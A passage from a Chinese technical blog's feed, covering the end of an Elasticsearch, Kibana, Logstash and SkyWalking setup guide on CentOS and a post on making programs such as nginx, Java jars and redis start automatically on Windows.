class="line">2</span><br></pre></td><td class="code"><pre><span class="line">su es</span><br><span class="line">./bin/elasticsearch -d</span><br></pre></td></tr></table></figure><h3 id="配置密码-多个">配置密码(多个)</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./bin/elasticsearch-setup-passwords interactive</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/aa8f9267c48839662ad55bec70bb550f.png" alt=""></p><h1>Kibana</h1><h2 id="安装Kibana">安装Kibana</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> yum install kibana</span><br></pre></td></tr></table></figure><h2 id="移动目录">移动目录</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /home</span><br><span class="line"><span class="built_in">mkdir</span> kibana</span><br><span class="line"><span class="built_in">mv</span> /usr/share/kibana/* /home/kibana/</span><br><span class="line"><span class="built_in">cd</span> /kibana</span><br><span class="line"><span class="built_in">mkdir</span> config</span><br><span class="line"><span class="built_in">mv</span> /etc/kibana/* /home/kibana/config/</span><br></pre></td></tr></table></figure><h2 id="修改配置文件-2">修改配置文件</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/kibana/kibana.yml</span><br></pre></td></tr></table></figure><h3 id="增加以下内容">增加以下内容</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 服务端口</span></span><br><span class="line"><span class="attr">server.port:</span> <span class="number">5601</span></span><br><span class="line"><span class="comment"># 服务器ip  本机</span></span><br><span class="line"><span class="attr">server.host:</span> <span class="string">&quot;0.0.0.0&quot;</span></span><br><span class="line"><span class="comment"># Elasticsearch 服务地址</span></span><br><span class="line"><span class="attr">elasticsearch.hosts:</span> [<span class="string">&quot;http://localhost:9200&quot;</span>]</span><br><span class="line"><span class="comment"># 设置语言为中文</span></span><br><span class="line"><span class="attr">i18n.locale:</span> <span class="string">&quot;zh-CN&quot;</span></span><br><span class="line"><span class="comment">#设置访问用户</span></span><br><span class="line"><span class="attr">elasticsearch.username:</span> <span class="string">&quot;kibana&quot;</span></span><br><span class="line"><span class="comment">#设置访问密码</span></span><br><span class="line"><span class="attr">elasticsearch.password:</span> <span class="string">&quot;上面es中kibana设置的密码&quot;</span></span><br><span class="line"><span class="attr">xpack.encryptedSavedObjects.encryptionKey:</span> <span class="string">&quot;your_encryption_key&quot;</span></span><br></pre></td></tr></table></figure><h3 id="修改以下内容">修改以下内容</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">pid.file:</span> <span class="string">/home/kibana/kibana.pid</span></span><br></pre></td></tr></table></figure><h2 id="指定用户授权">指定用户授权</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">chown</span> es:es -R /home/kibana/</span><br></pre></td></tr></table></figure><h2 id="启动并启用Kibana服务">启动并启用Kibana服务</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">nohup</span> ./bin/kibana &amp;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看进程对应的pid</span></span><br><span class="line">netstat -nlp | grep 5601</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/c0a7fc88dbc9965de223fbc57a2b56f9.png" alt="image-20230419174625061"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/539d929c1c7e6cd6271bbc86fae6403c.png" alt="image-20230419174834712"></p><h1>Logstash</h1><h2 id="安装Logstash">安装Logstash</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> yum install logstash</span><br></pre></td></tr></table></figure><h2 id="移动目录-2">移动目录</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /home</span><br><span class="line"><span class="built_in">mkdir</span> logstash</span><br><span class="line"><span class="built_in">mv</span> /usr/share/logstash/* /home/logstash/</span><br><span class="line"><span class="built_in">mv</span> /etc/logstash/* /home/logstash/</span><br></pre></td></tr></table></figure><h2 id="配置Logstash">配置Logstash</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /home/logstash/config</span><br><span class="line">vim config/logstash-es.conf</span><br></pre></td></tr></table></figure><h2 id="一个简单的Logstash配置示例">一个简单的Logstash配置示例</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 收集指定文件的日志</span></span><br><span class="line"><span class="built_in">input</span> &#123;</span><br><span class="line">  file &#123;</span><br><span class="line">    path =&gt; <span class="string">&quot;/path/to/your/logfile.log&quot;</span></span><br><span class="line">    start_position =&gt; <span class="string">&quot;beginning&quot;</span></span><br><span class="line">    sincedb_path =&gt; <span class="string">&quot;/dev/null&quot;</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment"># 指定目录下所有日志文件</span></span><br><span class="line"><span class="built_in">input</span> &#123;</span><br><span class="line">  file &#123;</span><br><span class="line">    path =&gt; <span class="string">&quot;/path/to/your/log-directory/*.log&quot;</span></span><br><span class="line">    start_position =&gt; <span class="string">&quot;beginning&quot;</span></span><br><span class="line">    sincedb_path =&gt; <span class="string">&quot;/path/to/sincedb/file&quot;</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment"># 使用api收集</span></span><br><span class="line"><span class="built_in">input</span> &#123;</span><br><span class="line">  tcp &#123;</span><br><span class="line">    port =&gt; <span class="number">9601</span></span><br><span class="line">    codec =&gt; json_lines</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">filter</span> &#123;</span><br><span class="line">  <span class="comment"># Add your filters here</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">output &#123;</span><br><span class="line">  elasticsearch &#123;</span><br><span class="line">    hosts =&gt; [<span class="string">&quot;localhost:9200&quot;</span>]</span><br><span class="line">    index =&gt; <span class="string">&quot;logstash-%&#123;+YYYY.MM.dd&#125;&quot;</span></span><br><span class="line">    user =&gt; <span class="string">&quot;your_username&quot;</span></span><br><span class="line">    password =&gt; <span class="string">&quot;your_password&quot;</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>start_position</code> 参数表示 Logstash 应从文件的哪个位置开始读取，<code>beginning</code> 表示从文件开头开始。<code>sincedb_path</code> 参数可以指定一个文件路径来记录已经处理过的文件位置。您可以选择一个目录以存储这些 sincedb 文件，以便在 Logstash 重新启动时，它可以记住上次处理到的文件位置。设置为 <code>/dev/null</code> 以确保每次启动 Logstash 时都从头开始读取。</p><h2 id="安装插件">安装插件</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">vim Gemfile</span><br><span class="line"></span><br><span class="line">将其中<span class="built_in">source</span> <span class="string">&quot;https://rubygems.org&quot;</span>修改为</span><br><span class="line"><span class="built_in">source</span> <span class="string">&quot;https://gems.ruby-china.com&quot;</span></span><br><span class="line"></span><br><span class="line">./bin/logstash-plugin install logstash-codec-json_lines</span><br></pre></td></tr></table></figure><h2 id="找不到源改为本地安装">找不到源改为本地安装</h2><p><a href="https://github.com/logstash-plugins">插件库</a></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># 修改Gemfile</span><br><span class="line">gem &quot;logstash-codec-json_lines&quot;, :path =&gt; &quot;./logstash-codec-json_lines&quot;</span><br><span class="line"></span><br><span class="line"># 执行安装</span><br><span class="line">./bin/logstash-plugin install --no-verify</span><br></pre></td></tr></table></figure><h2 id="指定用户授权-2">指定用户授权</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">chown es:es -R /home/logstash/</span><br></pre></td></tr></table></figure><h2 id="启动Logstash服务">启动Logstash服务</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">nohup</span> ./bin/logstash -f ./config/logstash-es.conf &amp;</span><br></pre></td></tr></table></figure><h2 id="配置防火墙">配置防火墙</h2><p>如果CentOS系统启用了防火墙，需要打开Elasticsearch和Kibana使用的端口并且在云主机上安全组中相应配置这两个端口</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> firewall-cmd --add-port=9200/tcp --permanent</span><br><span class="line"><span class="built_in">sudo</span> firewall-cmd --add-port=5601/tcp --permanent</span><br><span class="line"><span class="built_in">sudo</span> firewall-cmd --add-port=9601/tcp --permanent</span><br><span class="line"><span class="built_in">sudo</span> firewall-cmd --reload</span><br></pre></td></tr></table></figure><h1>在java中使用</h1><h2 id="添加依赖">添加依赖</h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>net.logstash.logback<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>logstash-logback-encoder<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>7.3<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="修改logback-spring-xml">修改logback-spring.xml</h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">configuration</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">appender</span> <span class="attr">name</span>=<span class="string">&quot;LOGSTASH&quot;</span> <span class="attr">class</span>=<span class="string">&quot;net.logstash.logback.appender.LogstashTcpSocketAppender&quot;</span>&gt;</span></span><br><span class="line">        <span class="comment">&lt;!--logstash ip：指定的logstash端口也就是上面的9601--&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">destination</span>&gt;</span>部署ip:9601<span class="tag">&lt;/<span class="name">destination</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">encoder</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span> <span class="attr">class</span>=<span class="string">&quot;net.logstash.logback.encoder.LogstashEncoder&quot;</span> /&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">appender</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">&lt;!--引用springboot默认配置--&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">include</span> <span class="attr">resource</span>=<span class="string">&quot;org/springframework/boot/logging/logback/base.xml&quot;</span>/&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">root</span> <span class="attr">level</span>=<span class="string">&quot;INFO&quot;</span>&gt;</span></span><br><span class="line">        <span class="comment">&lt;!--使用上述订阅logstash数据tcp传输 --&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">appender-ref</span> <span class="attr">ref</span>=<span class="string">&quot;LOGSTASH&quot;</span> /&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">root</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/c059ad82768b4b3de1b3b50eea814ac3.png" alt="image-20230420095538962"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/4d4ee3995b5bc4950d147ef67dd79eb2.png" alt="image-20230420100215408"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/5cc069e259169b81524a6fab193f6a56.png" alt="image-20230420100751445"></p><h2 id="同时从api和本地收集日志，并且指定到不同的索引中">同时从api和本地收集日志，并且指定到不同的索引中</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">input</span> &#123;</span><br><span class="line">  tcp &#123;</span><br><span class="line">    port =&gt; <span class="number">9601</span></span><br><span class="line">    codec =&gt; json_lines</span><br><span class="line"><span class="built_in">type</span> =&gt; <span class="string">&quot;java_api&quot;</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">input</span> &#123;</span><br><span class="line">  file &#123;</span><br><span class="line">    path =&gt; <span class="string">&quot;需要收集日日志的目录/*&quot;</span></span><br><span class="line">    start_position =&gt; <span class="string">&quot;beginning&quot;</span></span><br><span class="line">    sincedb_path =&gt; <span class="string">&quot;/dev/null&quot;</span></span><br><span class="line"><span class="built_in">type</span> =&gt; <span class="string">&quot;java_local&quot;</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">output &#123;</span><br><span class="line">  <span class="keyword">if</span> [<span class="built_in">type</span>] == <span class="string">&quot;java_api&quot;</span> &#123;</span><br><span class="line">    elasticsearch &#123;</span><br><span class="line">hosts =&gt; [<span class="string">&quot;localhost:9200&quot;</span>]</span><br><span class="line">index =&gt; <span class="string">&quot;java_api-%&#123;+YYYY.MM.dd&#125;&quot;</span></span><br><span class="line">user =&gt; <span class="string">&quot;elastic&quot;</span></span><br><span class="line">password =&gt; <span class="string">&quot;你的密码&quot;</span></span><br><span class="line">  &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> [<span class="built_in">type</span>] == <span class="string">&quot;java_local&quot;</span> &#123;</span><br><span class="line">    elasticsearch &#123;</span><br><span class="line">hosts =&gt; [<span class="string">&quot;localhost:9200&quot;</span>]</span><br><span class="line">index =&gt; <span class="string">&quot;java_local-%&#123;+YYYY.MM.dd&#125;&quot;</span></span><br><span class="line">user =&gt; <span class="string">&quot;elastic&quot;</span></span><br><span class="line">password =&gt; <span class="string">&quot;你的密码&quot;</span></span><br><span class="line">  &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  stdout &#123;</span><br><span class="line">  codec =&gt; rubydebug</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/6937a9d67a32579d6f2475409e7784cb.png" alt="image-20230420110705716"></p><h1>集成skywalking</h1><h2 id="下载">下载</h2><p><a href="https://www.apache.org/dyn/closer.cgi/skywalking/9.4.0/apache-skywalking-apm-9.4.0-src.tgz">https://www.apache.org/dyn/closer.cgi/skywalking/9.4.0/apache-skywalking-apm-9.4.0-src.tgz</a></p><h2 id="解压并移动到指定目录">解压并移动到指定目录</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">tar -zxvf apache-skywalking-apm-9.4.0-src.tgz</span><br><span class="line"></span><br><span class="line"><span class="comment"># 移动文件</span></span><br><span class="line"><span class="built_in">mv</span> /home/skywalking/apache-skywalking-apm-9.4.0/* /home/skywalking/</span><br></pre></td></tr></table></figure><h2 id="配置-SkyWalking">配置 SkyWalking</h2><p>编辑 SkyWalking 的配置文件 <code>/home/skywalking/oap-server/server-starter/src/main/resources/application.yml</code>，根据实际情况修改 storage 配置。例如，如果你打算使用 Elasticsearch 作为存储后端，你需要修改以下内容：</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">storage:</span></span><br><span class="line">  <span class="attr">selector:</span> <span class="string">$&#123;SW_STORAGE:elasticsearch&#125;</span></span><br><span class="line">  <span class="attr">elasticsearch:</span></span><br><span class="line">    <span class="attr">nameSpace:</span> <span class="string">$&#123;SW_NAMESPACE:&quot;&lt;your-namespace&gt;&quot;&#125;</span></span><br><span class="line">    <span class="attr">clusterNodes:</span> <span class="string">$&#123;SW_STORAGE_ES_CLUSTER_NODES:&lt;elasticsearch-cluster-nodes&gt;&#125;</span></span><br><span class="line">    <span class="attr">user:</span> <span class="string">$&#123;SW_ES_USER:&quot;&quot;&#125;</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">$&#123;SW_ES_PASSWORD:&quot;&quot;&#125;</span></span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/2ecc296872d875cb62e7aeacf51b9db2.png" alt="image-20230420150417774"></p><h2 id="编译">编译</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 在解压目录下而不是bin目录下,确保环境中java版本&gt;=11,maven版本&gt;=3.6</span></span><br><span class="line"><span class="built_in">cd</span> /home/skywalking</span><br><span class="line">mvn wrapper:wrapper</span><br><span class="line">./mvnw clean package -Dmaven.test.skip</span><br></pre></td></tr></table></figure><h2 id="启动-SkyWalking">启动 SkyWalking</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /home/skywalking/dist-material/bin/</span><br><span class="line">./startup.sh</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/30d92d96e5e8f6d08333baa1c8e18681.png" alt="image-20230420150852305"></p><h2 id="判断是否启动成功">判断是否启动成功</h2><p>打开目录<code>/home/skywalking/dist-material/logs</code>查看日志即可</p>]]></content>
    
    
    <summary type="html">Elasticsearch+Kibana+Logstash监控指定服务日志。接入skywalking链路追踪。</summary>
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="Elasticsearch" scheme="https://blog.allbs.cn/tags/Elasticsearch/"/>
    
    <category term="Kibana" scheme="https://blog.allbs.cn/tags/Kibana/"/>
    
    <category term="Logstash" scheme="https://blog.allbs.cn/tags/Logstash/"/>
    
    <category term="skywalking" scheme="https://blog.allbs.cn/tags/skywalking/"/>
    
  </entry>
  
  <entry>
    <title>windows中开机自启动</title>
    <link href="https://blog.allbs.cn/posts/61816/"/>
    <id>https://blog.allbs.cn/posts/61816/</id>
    <published>2023-04-17T08:36:00.000Z</published>
    <updated>2025-11-28T06:48:01.066Z</updated>
    
    <content type="html"><![CDATA[<h2 id="exe程序，比如nginx-exe">exe程序，比如nginx.exe</h2><p>写一个bat，内容为</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">@<span class="built_in">echo</span> off</span><br><span class="line">SET NGINX_HOME=nginx.exe所在的目录</span><br><span class="line"><span class="built_in">cd</span> %NGINX_HOME%</span><br><span class="line">start nginx.exe</span><br></pre></td></tr></table></figure><p>然后讲该bat放入目录<code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</code>此目录可以通过在搜索中直接键入<code>shell:startup</code>运行</p><p>使用该方法可以不用下载并配置指定的服务工具，避免有的windows中权限不够无法安装.netframwork3.5无法使用注册服务。</p><p>重新开机后可以看到该程序已启动</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/5b7f4340766f6ccde0357d0aa164ddba.png" alt="image-20230417150226804"></p><h2 id="其他服务比如java服务">其他服务比如java服务</h2><h3 id="不注册系统服务">不注册系统服务</h3><h4 id="启动jar的bat">启动jar的bat</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">@<span class="built_in">echo</span> off</span><br><span class="line"><span class="built_in">cd</span> /d <span class="string">&quot;jar包所在目录&quot;</span></span><br><span class="line">start javaw -jar <span class="string">&quot;jar包名称.jar&quot;</span></span><br></pre></td></tr></table></figure><h4 id="考虑到jar服务要依赖与一些服务，比如必须等redis启动后再启动">考虑到jar服务要依赖与一些服务，比如必须等redis启动后再启动</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">@<span class="built_in">echo</span> off</span><br><span class="line">SET REDIS_HOME=redis所在的目录</span><br><span class="line"><span class="built_in">cd</span> %REDIS_HOME%</span><br><span class="line"><span class="built_in">echo</span> Waiting <span class="keyword">for</span> Redis to start...</span><br><span class="line"></span><br><span class="line">:redis</span><br><span class="line">ping 127.0.0.1 -n 2 &gt; nul</span><br><span class="line">redis-cli ping &gt; nul || goto redis</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> Redis has started, starting your jar...</span><br><span class="line"><span class="built_in">cd</span> /d <span class="string">&quot;jar包所在目录&quot;</span></span><br><span class="line">start javaw -jar <span class="string">&quot;jar包名称.jar&quot;</span></span><br></pre></td></tr></table></figure><p>上述情况直接将该bat放置在<code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</code>中即可实现开机自启，此目录可以通过在搜索中直接键入<code>shell:startup</code>运行</p><h3 id="注册到系统服务-此方法同样适用于exe文件">注册到系统服务(此方法同样适用于exe文件)</h3><p>下载Windows Service Wrapper 工具<br><a href="http://repo.jenkins-ci.org/releases/com/sun/winsw/winsw">点此下载</a></p><p>jar-service.xml</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">service</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">id</span>&gt;</span>runJar<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">name</span>&gt;</span>runJar Service<span class="tag">&lt;/<span class="name">name</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">description</span>&gt;</span>需要自启动服务的描述<span class="tag">&lt;/<span class="name">description</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">logpath</span>&gt;</span>日志保存路径<span class="tag">&lt;/<span class="name">logpath</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">log</span> <span class="attr">mode</span>=<span class="string">&quot;roll-by-size&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">sizeThreshold</span>&gt;</span>10240<span class="tag">&lt;/<span class="name">sizeThreshold</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">keepFiles</span>&gt;</span>8<span class="tag">&lt;/<span class="name">keepFiles</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">log</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">executable</span>&gt;</span>启动jar的bat<span class="tag">&lt;/<span class="name">executable</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">service</span>&gt;</span></span><br></pre></td></tr></table></figure><p>run.bat</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar jar包名称.jar</span><br></pre></td></tr></table></figure><p>装载服务</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 安装服务 </span></span><br><span class="line">jar-service.exe install</span><br><span class="line"><span class="comment"># 卸载服务 </span></span><br><span class="line">jar-service.exe uninstall</span><br></pre></td></tr></table></figure><h2 id="自带注册服务的exe如redis">自带注册服务的exe如redis</h2><p>一般来说安装时就会自动注册相关的服务</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/8c3dbbe8da83f84cab22efe9e7412b90.png" alt="image-20230417140143350"></p><p>如果没有注册就自行注册</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">redis-server.exe --service-install redis.windows.conf</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/88ab06cdfc2365110bb112b81d2dd70a.png" alt="image-20230417140009500"></p>]]></content>
    
    
    <summary type="html">项目部署时碰到是windows系统，并且不能随意重启，按照第三方软件，升级.netframework高版本的情况下开机自启动</summary>
    
    
    
    <category term="windows" scheme="https://blog.allbs.cn/categories/windows/"/>
    
    
    <category term="Windows" scheme="https://blog.allbs.cn/tags/Windows/"/>
    
  </entry>
  
  <entry>
    <title>ssl证书自动续期</title>
    <link href="https://blog.allbs.cn/posts/65277/"/>
    <id>https://blog.allbs.cn/posts/65277/</id>
    <published>2023-04-11T09:45:00.000Z</published>
    <updated>2025-11-28T06:48:01.066Z</updated>
    
